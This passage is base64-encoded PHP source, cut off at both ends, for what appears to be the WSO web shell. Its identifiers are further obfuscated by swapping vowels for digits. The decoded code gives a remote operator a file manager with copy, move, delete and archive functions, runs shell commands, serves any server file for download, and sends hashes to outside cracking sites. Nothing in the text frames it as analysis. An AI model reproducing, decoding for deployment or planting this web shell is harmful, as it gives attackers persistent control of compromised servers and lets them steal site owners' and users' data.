CAgICAgICAgICAgICAgICBjaGQ0cigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IDVsczU0ZigkX0NPT0tJRVsnMWN0J10gPT0gJzNuejRwJykgew0KCQkJCQk0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfQ09PS0lFWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkejRwLT4ycDVuKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjV4dHIxY3RUMigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gNWxzNTRmKCRfQ09PS0lFWycxY3QnXSA9PSAndDFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX0NPT0tJRVsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IDFycjF5X20xcCgnNXNjMXA1c2g1bGwxcmcnLCAkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3MyRXgoJ3QxciBjZnp2ICcgLiA1c2MxcDVzaDVsbDFyZygkX1BPU1RbJ3BhJ10pIC4gJyAnIC4gNG1wbDJkNSgnICcsICRfQ09PS0lFWydmJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgY2hkNHIoJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9DQoJCQkJM25zNXQoJF9DT09LSUVbJ2YnXSk7DQogICAgICAgICAgICAgICAgczV0YzIyazQ1KCdmJywgJycsIHQ0bTUoKSAtIG9lMDApOw0KCQkJCWJyNTFrOw0KCQkJZDVmMTNsdDoNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkJCQlXU09zNXRjMjJrNDUoJzFjdCcsICRfUE9TVFsncDYnXSk7DQoJCQkJCVdTT3M1dGMyMms0NSgnZicsIHM1cjQxbDR6NShAJF9QT1NUWydmJ10pKTsNCgkJCQkJV1NPczV0YzIyazQ1KCdjJywgQCRfUE9TVFsnYyddKTsNCgkJCQl9DQoJCQkJYnI1MWs7DQoJCX0NCgl9DQogICAgd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PkY0bDUgbTFuMWc1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzY3I0cHQ+cDZfPXBhXz1wb189IiI7PC9zY3I0cHQ+JzsNCgkkZDRyQzJudDVudCA9IHdzMlNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7CTVjaDIgJ0MxblwndCAycDVuIHRoNHMgZjJsZDVyISc7d3MyRjIydDVyKCk7IHI1dDNybjsgfQ0KCWdsMmIxbCAkczJydDsNCgkkczJydCA9IDFycjF5KCduMW01JywgNik7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNGYocHI1Z19tMXRjaCgnIXNfKFtBLXpdKylfKFxkezZ9KSEnLCAkX1BPU1RbJ3A2J10sICRtMXRjaCkpDQoJCQkkczJydCA9IDFycjF5KCRtMXRjaFs2XSwgKDRudCkkbTF0Y2hbYV0pOw0KCX0NCjVjaDIgIjxzY3I0cHQ+DQoJZjNuY3Q0Mm4gczEoKSB7DQoJCWYycig0PTA7NDxkLmY0bDVzLjVsNW01bnRzLmw1bmd0aDs0KyspDQoJCQk0ZihkLmY0bDVzLjVsNW01bnRzWzRdLnR5cDUgPT0gJ2NoNWNrYjJ4JykNCgkJCQlkLmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkLmY0bDVzLjVsNW01bnRzWzBdLmNoNWNrNWQ7DQoJfQ0KPC9zY3I0cHQ+DQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnPg0KPGYycm0gbjFtNT1mNGw1cyBtNXRoMmQ9cDJzdD48dHI+PHRoIHc0ZHRoPSc2b3B4Jz48NG5wM3QgdHlwNT1jaDVja2IyeCAybmNsNGNrPSdzMSgpJyBjbDFzcz1jaGtieD48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19uMW01XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+TjFtNTwvMT48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19zNHo1XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UzR6NTwvMT48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19tMmQ0ZnlfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5NMmQ0Znk8LzE+PC90aD48dGg+T3duNXIvR3IyM3A8L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19wNXJtc18iLigkczJydFs2XT8wOjYpLiJcIiknPlA1cm00c3M0Mm5zPC8xPjwvdGg+PHRoPkFjdDQybnM8L3RoPjwvdHI+IjsNCgkkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7DQoJJG4gPSBjMjNudCgkZDRyQzJudDVudCk7DQoJZjJyKCQ0PTA7JDQ8JG47JDQrKykgew0KCQkkMncgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkZDRyQzJudDVudFskNF0pKTsNCgkJJGdyID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKSk7DQoJCSR0bXAgPSAxcnIxeSgnbjFtNScgPT4gJGQ0ckMybnQ1bnRbJDRdLA0KCQkJCQkgJ3AxdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0sDQoJCQkJCSAnbTJkNGZ5JyA9PiBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQoJCQkJCSAncDVybXMnID0+IHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQoJCQkJCSk7DQoJCTRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCgkJNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCgkJNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCgl9DQoJJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KCWYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCgkJNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQoJCQlyNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJCTVsczUNCgkJCXI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJfQ0KCTNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KCTNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQoJJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQoJJGwgPSAwOw0KCWYycjUxY2goJGY0bDVzIDFzICRmKSB7DQoJCTVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PSJmW10iIHYxbDM1PSInLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nIiBjbDFzcz1jaGtieD48L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiAnIC4gKDVtcHR5ICgkZlsnbDRuayddKSA/ICcnIDogInQ0dGw1PSd7JGZbJ2w0bmsnXX0nIikgLiAnPjxiPlsgJyAuIGh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSkgLiAnIF08L2I+JykuJzwvMT48L3RkPjx0ZD4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT93czJWNDV3UzR6NSgkZlsnczR6NSddKTokZlsndHlwNSddKS4nPC90ZD48dGQ+Jy4kZlsnbTJkNGZ5J10uJzwvdGQ+PHRkPicuJGZbJzJ3bjVyJ10uJy8nLiRmWydncjIzcCddLic8L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLFwnY2htMmRcJykiPicuJGZbJ3A1cm1zJ10NCgkJCS4nPC90ZD48dGQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3I1bjFtNVwnKSI+UjwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3QyM2NoXCcpIj5UPC8xPicuKCgkZlsndHlwNSddPT0nZjRsNScpPycgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJzVkNHRcJykiPkU8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdkMndubDIxZFwnKSI+RDwvMT4nOicnKS4nPC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDo2Ow0KCX0NCgk1Y2gyICI8dHI+PHRkIGMybHNwMW49Nz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuIic+DQoJPHM1bDVjdCBuMW01PSdwNic+PDJwdDQybiB2MWwzNT0nYzJweSc+QzJweTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J20ydjUnPk0ydjU8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdkNWw1dDUnPkQ1bDV0NTwvMnB0NDJuPiI7DQogICAgNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpDQogICAgICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3o0cCc+QzJtcHI1c3MgKHo0cCk8LzJwdDQybj48MnB0NDJuIHYxbDM1PSczbno0cCc+VW5jMm1wcjVzcyAoejRwKTwvMnB0NDJuPiI7DQogICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ndDFyJz5DMm1wcjVzcyAodDFyLmd6KTwvMnB0NDJuPiI7DQogICAgNGYoITVtcHR5KCRfQ09PS0lFWycxY3QnXSkgJiYgQGMyM250KCRfQ09PS0lFWydmJ10pKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSdwMXN0NSc+UDFzdDUgLyBDMm1wcjVzczwvMnB0NDJuPiI7DQogICAgNWNoMiAiPC9zNWw1Y3Q+Jm5ic3A7IjsNCiAgICA0ZighNW1wdHkoJF9DT09LSUVbJzFjdCddKSAmJiBAYzIzbnQoJF9DT09LSUVbJ2YnXSkgJiYgKCgkX0NPT0tJRVsnMWN0J10gPT0gJ3o0cCcpIHx8ICgkX0NPT0tJRVsnMWN0J10gPT0gJ3QxcicpKSkNCiAgICAgICAgNWNoMiAiZjRsNSBuMW01OiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9cGEgdjFsMzU9J3dzMl8iIC4gZDF0NSgiWW1kX0g0cyIpIC4gIi4iIC4gKCRfQ09PS0lFWycxY3QnXSA9PSAnejRwJz8nejRwJzondDFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIDVjaDIgIjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1PjwvZDR2PiI7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblN0cjRuZ1QyMmxzKCkgew0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGFiNG4nKSkge2YzbmN0NDJuIGg1eGFiNG4oJHApIHtyNXQzcm4gZDVjYjRuKGg1eGQ1YygkcCkpO319DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnYjRuaDV4JykpIHtmM25jdDQybiBiNG5oNXgoJHApIHtyNXQzcm4gZDVjaDV4KGI0bmQ1YygkcCkpO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCcxc2M0NGFoNXgnKSkge2YzbmN0NDJuIDFzYzQ0YWg1eCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gc3ByNG50ZignJTBhWCcsMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2YzbGxfM3JsNW5jMmQ1JykpIHtmM25jdDQybiBmM2xsXzNybDVuYzJkNSgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gJyUnLmQ1Y2g1eCgycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQoJJHN0cjRuZ1QyMmxzID0gMXJyMXkoDQoJCSdCMXM1ZXUgNW5jMmQ1JyA9PiAnYjFzNWV1XzVuYzJkNScsDQoJCSdCMXM1ZXUgZDVjMmQ1JyA9PiAnYjFzNWV1X2Q1YzJkNScsDQoJCSdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywNCgkJJ1VybCBkNWMyZDUnID0+ICczcmxkNWMyZDUnLA0KCQknRjNsbCAzcmw1bmMyZDUnID0+ICdmM2xsXzNybDVuYzJkNScsDQoJCSdtZGkgaDFzaCcgPT4gJ21kaScsDQoJCSdzaDE2IGgxc2gnID0+ICdzaDE2JywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDb2EnID0+ICdjcmNvYScsDQoJCSdBU0NJSSB0MiBIRVgnID0+ICcxc2M0NGFoNXgnLA0KCQknSEVYIHQyIEFTQ0lJJyA9PiAnaDV4YTFzYzQ0JywNCgkJJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLA0KCQknSEVYIHQyIEJJTicgPT4gJ2g1eGFiNG4nLA0KCQknREVDIHQyIEhFWCcgPT4gJ2Q1Y2g1eCcsDQoJCSdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywNCgkJJ0JJTiB0MiBIRVgnID0+ICdiNG5oNXgnLA0KCQknQklOIHQyIERFQycgPT4gJ2I0bmQ1YycsDQoJCSdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLA0KCQknU3RyNG5nIHQyIDNwcDVyIGMxczUnID0+ICdzdHJ0MjNwcDVyJywNCgkJJ0h0bWxzcDVjNDFsY2gxcnMnID0+ICdodG1sc3A1YzQxbGNoMXJzJywNCgkJJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLA0KCSk7DQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQoJCVdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCcsIHRyMzUpOw0KCQkyYl9zdDFydCgpOw0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpDQoJCQk1Y2gyICRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pOw0KCQkkdDVtcCA9ICJkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0Jykuc3R5bDUuZDRzcGwxeT0nJztkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0JykuNG5uNXJIVE1MPSciLjFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCgkJV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4JywgMCk7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlN0cjRuZyBjMm52NXJzNDJuczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJNWNoMiAiPGYycm0gbjFtNT0ndDIybHNGMnJtJyAyblMzYm00dD0nNGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fSByNXQzcm4gZjFsczU7Jz48czVsNWN0IG4xbTU9J3M1bDVjdFQyMmwnPiI7DQoJZjJyNTFjaCgkc3RyNG5nVDIybHMgMXMgJGsgPT4gJHYpDQoJCTVjaDIgIjwycHQ0Mm4gdjFsMzU9JyIuaHRtbHNwNWM0MWxjaDFycygkdikuIic+Ii4kay4iPC8ycHQ0Mm4+IjsNCgkJNWNoMiAiPC9zNWw1Y3Q+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jy8+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICIuKEAkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuIj4gczVuZCAzczRuZyBBSkFYPGJyPjx0NXh0MXI1MSBuMW01PSc0bnAzdCcgc3R5bDU9J20xcmc0bi10MnA6aXB4JyBjbDFzcz1iNGcxcjUxPiIuKDVtcHR5KCRfUE9TVFsncDYnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydwYSddKSkuIjwvdDV4dDFyNTE+PC9mMnJtPjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnIDRkPSdzdHJPM3RwM3QnPiI7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKTVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKSk7DQoJfQ0KCTVjaDIiPC9wcjU+PC9kNHY+PGJyPjxoNj5TNTFyY2ggZjRsNXM6PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJCTxmMnJtIDJuczNibTR0PVwiZyhuM2xsLHRoNHMuY3dkLnYxbDM1LG4zbGwsdGg0cy50NXh0LnYxbDM1LHRoNHMuZjRsNW4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48dDFibDUgYzVsbHAxZGQ0bmc9JzYnIGM1bGxzcDFjNG5nPScwJyB3NGR0aD0naTAlJz4NCgkJCTx0cj48dGQgdzRkdGg9JzYlJz5UNXh0OjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSd0NXh0JyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QMXRoOjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdjd2QnIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPk4xbTU6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2Y0bDVuMW01JyB2MWwzNT0nKicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+DQoJCQk8L3QxYmw1PjwvZjJybT4iOw0KDQoJZjNuY3Q0Mm4gd3MyUjVjM3JzNHY1R2wyYigkcDF0aCkgew0KCQk0ZihzM2JzdHIoJHAxdGgsIC02KSAhPSAnLycpDQoJCQkkcDF0aC49Jy8nOw0KCQkkcDF0aHMgPSBAMXJyMXlfM240cTM1KEAxcnIxeV9tNXJnNShAZ2wyYigkcDF0aC4kX1BPU1RbJ3BvJ10pLCBAZ2wyYigkcDF0aC4nKicsIEdMT0JfT05MWURJUikpKTsNCgkJNGYoNHNfMXJyMXkoJHAxdGhzKSYmQGMyM250KCRwMXRocykpIHsNCgkJCWYycjUxY2goJHAxdGhzIDFzICQ0dDVtKSB7DQoJCQkJNGYoQDRzX2Q0cigkNHQ1bSkpew0KCQkJCQk0ZigkcDF0aCE9JDR0NW0pDQoJCQkJCQl3czJSNWMzcnM0djVHbDJiKCQ0dDVtKTsNCgkJCQl9IDVsczUgew0KCQkJCQk0Zig1bXB0eSgkX1BPU1RbJ3BhJ10pIHx8IEBzdHJwMnMoZjRsNV9nNXRfYzJudDVudHMoJDR0NW0pLCAkX1BPU1RbJ3BhJ10pIT09ZjFsczUpDQoJCQkJCQk1Y2gyICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLG4zbGwsXCIiLjNybDVuYzJkNSgkNHQ1bSkuIlwiLCBcInY0NXdcIixcIlwiKSc+Ii5odG1sc3A1YzQxbGNoMXJzKCQ0dDVtKS4iPC8xPjxicj4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCgk0ZihAJF9QT1NUWydwbyddKQ0KCQl3czJSNWMzcnM0djVHbDJiKCRfUE9TVFsnYyddKTsNCgk1Y2gyICI8L2Q0dj48YnI+PGg2PlM1MXJjaCBmMnIgaDFzaDo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCgkJPGYycm0gbTV0aDJkPSdwMnN0JyB0MXJnNXQ9J19ibDFuaycgbjFtNT0naGYnPg0KCQkJPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2gxc2gnIHN0eWw1PSd3NGR0aDphMDBweDsnPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdoNGRkNW4nIG4xbTU9JzFjdCcgdjFsMzU9J2Y0bmQnLz4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2s0bmcucjMnIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHBzOi8vaDFzaGNyMWNrNG5nLnIzLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbWRpLnI1ZG4yNHo1LmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL21kaS5yNWRuMjR6NS5jMm0vP3E9JytkMmMzbTVudC5oZi5oMXNoLnYxbDM1Kycmcz1tZGknO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2NyMWNrZjJyLm01JyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vY3IxY2tmMnIubTUvNG5kNXgucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJPC9mMnJtPjwvZDR2PiI7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzVDIybHMoKSB7DQoJNGYoIDRzczV0KCRfUE9TVFsncDYnXSkgKQ0KCQkkX1BPU1RbJ3A2J10gPSAzcmxkNWMyZDUoJF9QT1NUWydwNiddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCTRmKEA0c19mNGw1KCRfUE9TVFsncDYnXSkgJiYgQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCgkJCTJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCgkJCWg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Ii5iMXM1bjFtNSgkX1BPU1RbJ3A2J10pKTsNCgkJCTRmIChmM25jdDQybl81eDRzdHMoIm00bTVfYzJudDVudF90eXA1IikpIHsNCgkJCQkkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOw0KCQkJCWg1MWQ1cigiQzJudDVudC1UeXA1OiAiIC4gJHR5cDUpOw0KCQkJfSA1bHM1DQogICAgICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IDFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbSIpOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCFAZjUyZigkZnApKQ0KCQkJCQk1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOw0KCQkJCWZjbDJzNSgkZnApOw0KCQkJfQ0KCQl9NXg0dDsNCgl9DQoJNGYoIEAkX1BPU1RbJ3BhJ10gPT0gJ21rZjRsNScgKSB7DQoJCTRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAndycpOw0